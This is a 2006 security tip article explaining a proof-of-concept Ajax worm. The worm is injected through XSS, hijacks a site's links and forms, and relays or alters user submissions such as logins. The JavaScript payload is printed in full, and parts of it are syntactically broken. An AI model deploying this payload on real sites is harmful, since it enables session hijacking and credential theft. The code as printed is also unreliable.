Tip

Ajax worm can hijack Web sites

A few weeks ago I demonstrated how easy it is to create an Ajax worm that hijacks a user session and redirects all the user activity through itself. The idea is simply to

Requires Free Membership to View

be able to control and monitor the user activity on a Web site by inserting the malicious script into the visiting user's session using cross-site scripting (XSS).

App security talk
Check out Anurag's blog to read what else he has to say about application security.

I have been talking for some time now about the extent of damage that can be done using Ajax's XMLHttpRequest (XHR) object. All you need is a Web site vulnerable to XSS and an attacker can inject a small JavaScript file that can take control of the user as long as he is on that site and in some cases even after he has left the Web site.

Let's take a look now at how easy it is to hijack a Web site with the help of Ajax by inserting a script that propagates to every page a user visits on that Web site. This Proof of Concept is limited to the worm propagating to a single site, as Ajax cannot make cross-domain requests just yet. If you want cross-domain request, you may want to consider FlashXMLHttpRequest object.


When the script is injected into a vulnerable site, create_object, collect_links and collect_forms method from worm.js script are called.

//Create an Ajax object
Create_object creates a cross-browser connection to the server using Ajax. For Internet Explorer 5 and 6 we use ActiveXObject, and for Internet Explorer 7 and Firefox we use XMLHttpRequest. All the Ajax communications are done using this object.

The XMLHttpRequest object is an interface exposed by a scripting engine that allows scripts to perform HTTP client functionality, such as submitting form data or loading data from a server. The name of the object is XMLHttpRequest for compatibility with the Web, as it doesn't make much sense otherwise. It supports the transport of other data formats in addition to XML. Some implementations support other protocols besides HTTP (that functionality is not covered in this specification, though), and the API supports sending data as well.

function create_object()    {
// This is a strip down version of what I am using in the actual script to demonstrate 
how to create a XHR object.

    if(window.ActiveXObject)     {
                ajax_request = new ActiveXObject(MSXML2.XMLHTTP);  
    }

    if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
        ajax_request = new XMLHttpRequest ();
    }
}

//Code to capture all the links
This is where we capture all the links in a Web site. If it is an internal link, then we replace it with our JavaScript function. Now, whenever a user clicks on any of the links, the browser calls the JavaScript function instead of opening that page. The JavaScript function, in turn, silently communicates with the server in the background, fetches the link and loads the page in the memory. While doing so, it captures all the links and forms of the newly loaded page.

function collect_links()
{
    //Collect all the link in the html page.
    var all_links = document.getElementsByTagName("a");

    //Go through all the links one by one.    
    for(var i = 0; i < all_links.length; i++)    {

        //Replace all the links with the javascript function.
        all_links[i].href="javascript:loadUrl('" + all_links[i].href + "');";
    }
}

//Code to capture all the forms
This is where we capture all the forms in a Web page. The collect_forms function does the same thing as collect_links, except it looks for just all the forms and replaces their action attribute with its JavaScript function. It also inserts or replaces (if already exists) the ID of the form with the actual URL so that the worm script can identify them at the time of submission. As you will see in the last line here, the action attribute is replaced by the submit_form function of the worm. Now, when the user tries to submit any form, instead of the browser submitting the form to the server, the submit_form function will be called.

function collect_forms()
{
    //Collect all the forms in the html page.
    var all_forms = document.getElementsByTagName("form");

    //Go through all the forms one by one.
    for(var i = 0; i < all_forms.length; i++)    {
        //Replace the id of the form with the original submit url.
        all_forms[i].id = all_forms[i].action;

        //Replace the submit url of the page with the javascript function.
        all_forms[i].action="javascript:submit_form('" + all_forms[i].action + "');";
    }
}

//Code to load the requested URL dynamically
The loadUrl function takes the URL as a parameter and connects to the server and requests that URL. The server treats it as any other request it would have received from the client and sends the file with that URL. Normally the browser receives the file and displays it in the browser, but with Ajax it is our XHR object that receives the file and updates the client screen with the new HTML code. Then it calls collect_links and collect_forms function to hijack the links and forms in the new HTML code. This way, the worm script is always in control of all the request/response made from the client browser to the server.

function loadUrl(url) 
{
    //Connect to the server and request for that url.
    ajax_request.open("GET", url, false);
    ajax_request.send(null);

    //Look for the request state and status. Status = 200 means the request was successful 
    if(ajax_request.status == 200)    {
       

    //Load the response from the server into the document's body. This will dynamically 
    change the content of the page, but the URL on the address bar of the browser will 
    remain the same. So, even though the new URL is loaded, the location bar of browser 
    will show the URL of the original page.

        var response_text = ajax_request.responseText;
        document.body.innerHTML = response_text;
        
        //Hijack all the links and forms in the new html page.
        collect_links();
        collect_forms();
    }
}

//Code to create the form parameter string
This function is called when a user tries to submit a form. Because all the forms are hijacked and replaced with submit_form function of the JavaScript, when the user clicks on the submit button, this function is called with the ID of the form that was already replaced at the time of hijacking. Based on that ID, the script loads all the forms and its elements. It then calls the post_attacker function, which submits the values to the server, captures the response and displays on the user window and hijacks any links or forms in the new HTML code. For the sake of this demonstration, when you enter a username and password on the login page and click submit, the script displays the values on the screen before calling the post_attacker function.

function submit_form(form_id)
{
 //get the form element from the id.
 var form = document.getElementById(form_id);

 //This is where the form values are displayed when the user presses the submit button.
 var form_submit = document.getElementById('form_element');
 form_submit.innerHTML = "These values will be submitted to " + form_id + "<br/>";

 //All the parameters have to be in the format of name=value to be able to submit 
to the server.
 var post_url = "";

 //Iterate through every element of the form.
 for(var i = 0; i < form.length; i++) {
  var line = form.elements[i].name + " = " + form.elements[i].value +;
  form_submit.innerHTML += line + "<br>";
  post_url += line;

  //Multiple name=value have to be separated with &
  if(i+1 < form.length)
   post_url += "&";
 }
 
 //post it to the server.
post_attacker(form_id, post_url);
}

//Code to submit the form dynamically
function post_attacker(url, parameters) {

    //Create a POST connection to the url.
    ajax_request.open("POST", url, false);

    //Set the header values.
    ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; 
    charset=UTF-8");

    //Send the parameters
    ajax_request.send(parameters);

    //Load the response from the server into the document's body
    if(ajax_request.readyState == 4 && ajax_request.status == 200)    {
        var response_text = ajax_request.responseText;
        document.body.innerHTML = response_text;
        
        //Hijack all the links and the forms.
        collect_links();
        collect_forms();
    }
}

As you can see, it's easy to create a worm with the help of Ajax that controls all the communication between the user and the server. No matter what link a user clicks on or form he submits, everything is passed through the worm script. It is also capable of making changes to the data before it gets submitted to the server or before it gets loaded in the user browser after it is received from the server.

Ajax dangers
Ajax security -- A reality check

How Ajax makes it easier to steal information from your clipboard

Podcast -- Ajax security: A dynamic approach

This is just a proof of concept to reiterate how deadly a combination of XSS and Ajax can be. Currently this is limited to the same site, as we cannot make cross-domain Ajax requests just yet. With cross-domain Ajax requests, the implications could be far more dangerous. I am not against having cross-domain requests in Ajax, but if and when they allow it, they should consider the security implications and if possible suggest solutions or scenarios that a developer should consider while using cross-domain Ajax requests.

>> Look at the demo of the Proof of concept

>> Download the source code

-------------------------------
About the author: Anurag Agarwal, CISSP, works for a leading software solutions provider where he addresses different aspects of application security. You may e-mail him at anurag.agarwal@yahoo.com.


Reader Feedback: Share your comments on this article

This was first published in December 2006

There are Comments. Add yours.

 
TIP: Want to include a code block in your comment? Use <pre> or <code> tags around the desired text. Ex: <code>insert code</code>

REGISTER or login:

Forgot Password?
By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy
Sort by: OldestNewest

Forgot Password?

No problem! Submit your e-mail address below. We'll send you an email containing your password.

Your password has been sent to:

Disclaimer: Our Tips Exchange is a forum for you to share technical advice and expertise with your peers and to learn from other enterprise IT professionals. TechTarget provides the infrastructure to facilitate this sharing of information. However, we cannot guarantee the accuracy or validity of the material submitted. You agree that your use of the Ask The Expert services and your reliance on any questions, answers, information or other materials received through this Web site is at your own risk.